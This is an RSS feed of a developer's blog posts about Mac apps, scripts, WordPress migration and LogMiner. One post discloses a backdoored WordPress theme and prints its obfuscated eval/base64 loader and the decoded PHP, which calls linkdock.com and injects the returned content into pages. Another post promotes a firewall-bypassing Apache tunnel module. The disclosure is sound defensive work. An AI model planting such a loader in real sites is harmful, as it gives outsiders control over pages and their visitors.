<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>
<channel>
	<title>Simone Tellini &#187; Software</title>
	<atom:link href="http://tellini.info/category/4-Software/feed/" rel="self" type="application/rss+xml" />
	<link>http://tellini.info</link>
	<description>To strive, to seek, to find, and not to yield</description>
	<lastBuildDate>Mon, 06 Feb 2012 10:42:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Quick Sprites: CSS sprites, the easy way</title>
		<link>http://tellini.info/2011/08/quick-sprites-css-sprites-the-easy-way/</link>
		<comments>http://tellini.info/2011/08/quick-sprites-css-sprites-the-easy-way/#comments</comments>
		<pubDate>Sun, 21 Aug 2011 17:02:52 +0000</pubDate>
		<dc:creator>Simone</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[mac os x]]></category>
		<category><![CDATA[optimization]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[sprites]]></category>
		<guid isPermaLink="false">http://tellini.info/?p=144</guid>
		<description><![CDATA[The use of CSS sprites is a valuable techique for any web developer who wishes to optimize his web site, making it both faster for users and better ranked by search engines. However, it usually involves more work to pack &#8230; <a href="http://tellini.info/2011/08/quick-sprites-css-sprites-the-easy-way/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The use of CSS sprites is a valuable techique for any web developer who wishes to optimize his web site, making it both faster for users and better ranked by search engines.</p>
<p>However, it usually involves more work to pack the images in a single sprite sheet and to update them when the site evolves.</p>
<p>If you never used this technique for this reason, now you won&#8217;t have any excuse left: <a href="http://www.tellini.org/mac/quicksprites/" target="_blank">Quick Sprites</a> makes creating and maintaining sprite sheets a breeze <img src='http://tellini.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>You can see how easy is to work with Quick Sprites in this short video:</p>
<div align="center" style="margin-top: 1em">
<iframe width="480" height="390" src="http://www.youtube-nocookie.com/embed/7oLIOjMwbxI?rel=0" frameborder="0" allowfullscreen></iframe>
</div>
<p>Currently available in the <a href="http://itunes.apple.com/app/quick-sprites/id457516296" title="Quick Sprites on the Mac App Store">Mac App Store</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://tellini.info/2011/08/quick-sprites-css-sprites-the-easy-way/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scraping App Store reviews, page after page&#8230;</title>
		<link>http://tellini.info/2011/07/scraping-app-store-reviews-page-after-page/</link>
		<comments>http://tellini.info/2011/07/scraping-app-store-reviews-page-after-page/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 19:58:22 +0000</pubDate>
		<dc:creator>Simone</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[app store]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[itunes]]></category>
		<category><![CDATA[linkedin]]></category>
		<guid isPermaLink="false">http://tellini.info/?p=143</guid>
		<description><![CDATA[Someone pointed out that my little scraping script was fetching only some of the reviews of his app. Indeed, it was only considering the first &#8220;page&#8221; of results. So, I&#8217;ve just updated it to grab &#8216;em all. The new version &#8230; <a href="http://tellini.info/2011/07/scraping-app-store-reviews-page-after-page/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Someone pointed out that <a href="http://tellini.info/2011/05/scraping-mac-app-store-reviews/">my little scraping script</a> was fetching only <em>some</em> of the reviews of his app. Indeed, it was only considering the first &#8220;page&#8221; of results.</p>
<p>So, I&#8217;ve just updated it to grab &#8216;em all. The new version is available at the same address: <a href="http://files.tellini.info/macappstore.zip">here</a>.</p>
<p>By the way, the script was born to get reviews from the <strong>Mac</strong> App Store, but it seems to work just fine with the iOS store as well <img src='http://tellini.info/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Feel free to send me a promo code for your app, if you really like it <img src='http://tellini.info/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /><br />
<em style="font-size: 70%">(or even an iPad 2, if it changed your life <img src='http://tellini.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )</em></p>
]]></content:encoded>
			<wfw:commentRss>http://tellini.info/2011/07/scraping-app-store-reviews-page-after-page/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Special Tablatures offer coming up this week</title>
		<link>http://tellini.info/2011/05/special-tablatures-offer-coming-up-this-week/</link>
		<comments>http://tellini.info/2011/05/special-tablatures-offer-coming-up-this-week/#comments</comments>
		<pubDate>Tue, 24 May 2011 05:58:37 +0000</pubDate>
		<dc:creator>Simone</dc:creator>
				<category><![CDATA[Music]]></category>
		<category><![CDATA[Software]]></category>
		<guid isPermaLink="false">http://tellini.info/?p=139</guid>
		<description><![CDATA[A very special Tablatures offer will be available this weekend at Bits du Jour: a whopping 46% off the regular price! If the only reason why you haven&#8217;t started writing your music with Tablatures yet is because you were thinking &#8230; <a href="http://tellini.info/2011/05/special-tablatures-offer-coming-up-this-week/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>A very special <a href="http://www.tellini.org/mac/tablatures/">Tablatures</a> offer will be available this weekend at <a href="http://www.bitsdujour.com/software/tablatures/">Bits du Jour</a>: a whopping 46% off the regular price!</p>
<p>If the only reason why you haven&#8217;t started writing your music with <a href="http://www.tellini.org/mac/tablatures/">Tablatures</a> yet is because you were thinking about the price, you have no excuse now. <img src='http://tellini.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Don&#8217;t miss your chance to take advantage of this promotion: there won&#8217;t be another one like it anytime soon.</p>
<p>For further details, please visit <a href="http://www.bitsdujour.com/software/tablatures/">http://www.bitsdujour.com/software/tablatures/</a>  and click on the &#8220;I Want This&#8221; button to get notified when the promotion will start, to be sure not to miss the deal.</p>
]]></content:encoded>
			<wfw:commentRss>http://tellini.info/2011/05/special-tablatures-offer-coming-up-this-week/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scraping Mac App Store reviews</title>
		<link>http://tellini.info/2011/05/scraping-mac-app-store-reviews/</link>
		<comments>http://tellini.info/2011/05/scraping-mac-app-store-reviews/#comments</comments>
		<pubDate>Sun, 08 May 2011 12:14:06 +0000</pubDate>
		<dc:creator>Simone</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[linkedin]]></category>
		<guid isPermaLink="false">http://tellini.info/?p=138</guid>
		<description><![CDATA[You have some products on the Mac App Store, you would like to know what people think of them but you can&#8217;t bother checking for reviews one store at a time? Don&#8217;t worry, you&#8217;re not alone. I can&#8217;t understand why &#8230; <a href="http://tellini.info/2011/05/scraping-mac-app-store-reviews/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>You have some products on the Mac App Store, you would like to know what people think of them but you can&#8217;t bother checking for reviews one store at a time?</p>
<p>Don&#8217;t worry, you&#8217;re not alone. I can&#8217;t understand why Apple made it so difficult to check reviews for your own products in iTunes Connect, so here&#8217;s <a href="http://files.tellini.info/macappstore.zip">a little PHP script</a> that will do the dirty work for you: it&#8217;ll check all the stores and fetch all the reviews, producing an XML file per product with the most important info (review, reviewer, version of the product&#8230;).</p>
<p>You just need to rename the config file to <strong>macappstore.cfg.php</strong>, fill in the <strong>$products</strong> array, create an <strong>output</strong> subdirectory and execute:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php macappstore.php</div></td></tr></tbody></table></div>
<p>After a while you&#8217;ll see the XML appearing in the output directory, ready for further processing.</p>
]]></content:encoded>
			<wfw:commentRss>http://tellini.info/2011/05/scraping-mac-app-store-reviews/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Serendipity to WordPress</title>
		<link>http://tellini.info/2010/10/serendipity-to-wordpress/</link>
		<comments>http://tellini.info/2010/10/serendipity-to-wordpress/#comments</comments>
		<pubDate>Wed, 27 Oct 2010 18:59:09 +0000</pubDate>
		<dc:creator>Simone</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[s9y wordpress migration]]></category>
		<guid isPermaLink="false">http://tellini.info/?p=117</guid>
		<description><![CDATA[I&#8217;ve moved a couple of my blogs from Serendipity to WordPress (mostly because I&#8217;ve discovered that Serendipity has some issues with newer PHP setups, but also because I&#8217;m getting lazy and WordPress&#8217; admin panel is nicer than s9y&#8217;s ). Luckily &#8230; <a href="http://tellini.info/2010/10/serendipity-to-wordpress/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve moved a couple of my blogs from <a href="http://www.s9y.org/">Serendipity</a> to <a href="http://wordpress.org/">WordPress</a> (mostly because I&#8217;ve discovered that Serendipity has some issues with newer PHP setups, but also because I&#8217;m getting lazy and WordPress&#8217; admin panel is nicer than s9y&#8217;s <img src='http://tellini.info/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> ).</p>
<p>Luckily someone else did already write a <a href="http://snowulf.com/2010/06/11/serendipity-to-wordpress-post-import/">s9y-&gt;WP importer plugin</a>. Sadly it didn&#8217;t support nested categories, so I changed a couple of things and here&#8217;s my <a href="http://files.tellini.info/s9y2wp.zip">Serendipity (S9Y) importer for WordPress 1.5</a> (hoping that noone else has already used that version number&#8230; the history of the plugin contains several authors <img src='http://tellini.info/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )</p>
<p>One snag: after the import, you&#8217;ll need to edit one of the categories (just open and save it) to fix the hierarchy. I don&#8217;t know why and honestly I don&#8217;t care <img src='http://tellini.info/wp-includes/images/smilies/icon_razz.gif' alt=':-P' class='wp-smiley' />  Worked for me, your mileage might vary.</p>
<p>Refer to <a href="http://snowulf.com/2010/06/11/serendipity-to-wordpress-post-import/">this article</a> for other useful migration tips.</p>
]]></content:encoded>
			<wfw:commentRss>http://tellini.info/2010/10/serendipity-to-wordpress/feed/</wfw:commentRss>
		<slash:comments>36</slash:comments>
		</item>
		<item>
		<title>LogMiner 1.23</title>
		<link>http://tellini.info/2009/06/logminer-1-23/</link>
		<comments>http://tellini.info/2009/06/logminer-1-23/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 08:42:32 +0000</pubDate>
		<dc:creator>Simone</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[logminer]]></category>
		<category><![CDATA[logs]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[sysadmin]]></category>
		<guid isPermaLink="false">http://wp.cr.tellini.org/?p=92</guid>
		<description><![CDATA[Version 1.23 of LogMiner, my Apache/IIS log analysis package, is now available. This release mainly fixes some build problem on modern distributions. Also it finally includes the cleanup function I was talking about some days ago&#8230;]]></description>
			<content:encoded><![CDATA[<p>Version 1.23 of <a href="http://logminer.sourceforge.net/"  title="LogMiner at SourceForge">LogMiner</a>, my Apache/IIS log analysis package, is now available.</p>
<p>This release mainly fixes some build problem on modern distributions.</p>
<p>Also it finally includes the <a href="http://tellini.info/blog/archives/48-LogMiner-purging-old-accesses.html">cleanup function</a> I was talking about <em>some</em> days ago&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://tellini.info/2009/06/logminer-1-23/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Snow Leopard upgrade at $29</title>
		<link>http://tellini.info/2009/06/snow-leopard-upgrade-at-29/</link>
		<comments>http://tellini.info/2009/06/snow-leopard-upgrade-at-29/#comments</comments>
		<pubDate>Mon, 08 Jun 2009 17:48:08 +0000</pubDate>
		<dc:creator>Simone</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[leopard]]></category>
		<category><![CDATA[mac os x]]></category>
		<category><![CDATA[snow]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[upgrade]]></category>
		<guid isPermaLink="false">http://wp.cr.tellini.org/?p=89</guid>
		<description><![CDATA[Hey, I&#8217;m following the live coverage of WWDC and just read this nice detail&#8230; that is a good price for a little update, Microsoft should learn a lesson or two&#8230;]]></description>
			<content:encoded><![CDATA[<p>Hey, I&#8217;m following the <a href="http://www.appleinsider.com/articles/09/06/08/live_coverage_from_apples_worldwide_developers_conference.html">live coverage of WWDC</a> and just read this nice detail&#8230; that is a good price for a little update, Microsoft should learn a lesson or two&#8230; <img src='http://tellini.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://tellini.info/2009/06/snow-leopard-upgrade-at-29/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backdoor in WordPress themes?</title>
		<link>http://tellini.info/2009/05/backdoor-in-wordpress-themes/</link>
		<comments>http://tellini.info/2009/05/backdoor-in-wordpress-themes/#comments</comments>
		<pubDate>Tue, 26 May 2009 17:55:15 +0000</pubDate>
		<dc:creator>Simone</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[wordpress]]></category>
		<guid isPermaLink="false">http://wp.cr.tellini.org/?p=87</guid>
		<description><![CDATA[I was looking for a theme to use in a WordPress blog and I stumbled on this one. Cool, I thought, I might use it&#8230; but&#8230; hey&#8230; why there&#8217;s this weird stuff in footer.php? 12345678&#60;? eval&#40;gzinflate&#40;base64_decode&#40;'vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0 NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc 5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/ &#8230; <a href="http://tellini.info/2009/05/backdoor-in-wordpress-themes/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I was looking for a theme to use in a WordPress blog and I stumbled on <a href="http://wptemplates.org/?p=313">this one</a>.</p>
<p>Cool, I thought, I might use it&#8230; but&#8230; hey&#8230; why there&#8217;s this weird stuff in <strong>footer.php</strong>?</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span> <a href="http://www.php.net/eval"><span style="color: #990000;">eval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/gzinflate"><span style="color: #990000;">gzinflate</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0<br />
NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC<br />
ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc<br />
5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL<br />
vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/<br />
b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5<br />
p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBa<br />
hOh0EIT7b8A'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>Uhm&#8230; it looks very suspicious. Too suspicious. Let&#8217;s change eval with die and check what&#8217;s all that stuff:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/error_reporting"><span style="color: #990000;">error_reporting</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$CodeURL</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;http://linkdock.com/content.php?id=&amp;host=&quot;</span><span style="color: #339933;">.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/urlencode"><span style="color: #990000;">urlencode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;HTTP_HOST&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;uri=&quot;</span><span style="color: #339933;">.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/urlencode"><span style="color: #990000;">urlencode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;REQUEST_URI&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/get_cfg_var"><span style="color: #990000;">get_cfg_var</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;allow_url_fopen&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <br />
&nbsp; &nbsp; &nbsp;<a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;allow_url_fopen&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <br />
&nbsp; &nbsp; &nbsp;<a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;file_get_contents&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #339933;">@</span><a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CodeURL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<br />
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/get_cfg_var"><span style="color: #990000;">get_cfg_var</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;allow_url_fopen&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/ini_get"><span style="color: #990000;">ini_get</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;allow_url_fopen&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$content</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/file"><span style="color: #990000;">file</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CodeURL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #339933;">@</span><a href="http://www.php.net/join"><span style="color: #990000;">join</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$content</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<br />
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;curl_init&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/curl_init"><span style="color: #990000;">curl_init</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CodeURL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/curl_setopt"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_HEADER<span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/curl_exec"><span style="color: #990000;">curl_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/curl_close"><span style="color: #990000;">curl_close</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>Yep. It definitely looks like a backdoor.</p>
<p>It seems that you can never be too much careful&#8230;</p>
<p>(it seems like the first version I&#8217;ve download is different than the one on the site mentioned above, although there&#8217;s still something evil in footer.php)</p>
]]></content:encoded>
			<wfw:commentRss>http://tellini.info/2009/05/backdoor-in-wordpress-themes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mod_tunnel for Apache 2.2.x</title>
		<link>http://tellini.info/2009/04/mod_tunnel-for-apache-2-2-x/</link>
		<comments>http://tellini.info/2009/04/mod_tunnel-for-apache-2-2-x/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 15:52:07 +0000</pubDate>
		<dc:creator>Simone</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[tunnel]]></category>
		<guid isPermaLink="false">http://wp.cr.tellini.org/?p=84</guid>
		<description><![CDATA[mod_tunnel is a simple Apache module that can be used to create TCP tunnels using your Web server. It is useful to expose services which can be reached through a proxy, bypassing firewalls. After only 4 years since the previous &#8230; <a href="http://tellini.info/2009/04/mod_tunnel-for-apache-2-2-x/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>mod_tunnel is a simple Apache module that can be used to create TCP tunnels using your Web server. It is useful to expose services which can be reached through a proxy, bypassing firewalls.</p>
<p>After <em>only</em> 4 years since the previous version, you can now download version 2.0 which works with Apache 2.2.x (and maybe 2.0.x, but I haven&#8217;t tested it).</p>
<p>You&#8217;ll find it on <a href="https://sourceforge.net/projects/mod-tunnel/" title="mod_tunnel on sourceforge.net">sourceforge</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://tellini.info/2009/04/mod_tunnel-for-apache-2-2-x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How much would it cost to rewrite it?</title>
		<link>http://tellini.info/2008/06/how-much-would-it-cost-to-rewrite-it/</link>
		<comments>http://tellini.info/2008/06/how-much-would-it-cost-to-rewrite-it/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 15:13:44 +0000</pubDate>
		<dc:creator>Simone</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[logminer]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[software development]]></category>
		<guid isPermaLink="false">http://wp.cr.tellini.org/?p=67</guid>
		<description><![CDATA[I&#8217;ve just added LogMiner to Ohloh, a site that offers an interesting feature: it can analyse a project source code and estimate how much it would cost to hire a development team to recreate the project from scratch. I think &#8230; <a href="http://tellini.info/2008/06/how-much-would-it-cost-to-rewrite-it/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve just added <a href="http://logminer.tellini.info/">LogMiner</a> to <a href="http://www.ohloh.net/projects/logminer">Ohloh</a>, a site that offers an interesting feature: it can analyse a project source code and estimate how much it would cost to hire a development team to recreate the project from scratch.</p>
<p>I think that it&#8217;s a simple way to estimate the effort you put over the time in open source projects.</p>
<p>Here&#8217;s the resulting figure for LogMiner:</p>
<div align="center" style="border-style: none">
<script type="text/javascript" src="http://www.ohloh.net/projects/14626/widgets/project_partner_badge"></script>
</div>
]]></content:encoded>
			<wfw:commentRss>http://tellini.info/2008/06/how-much-would-it-cost-to-rewrite-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

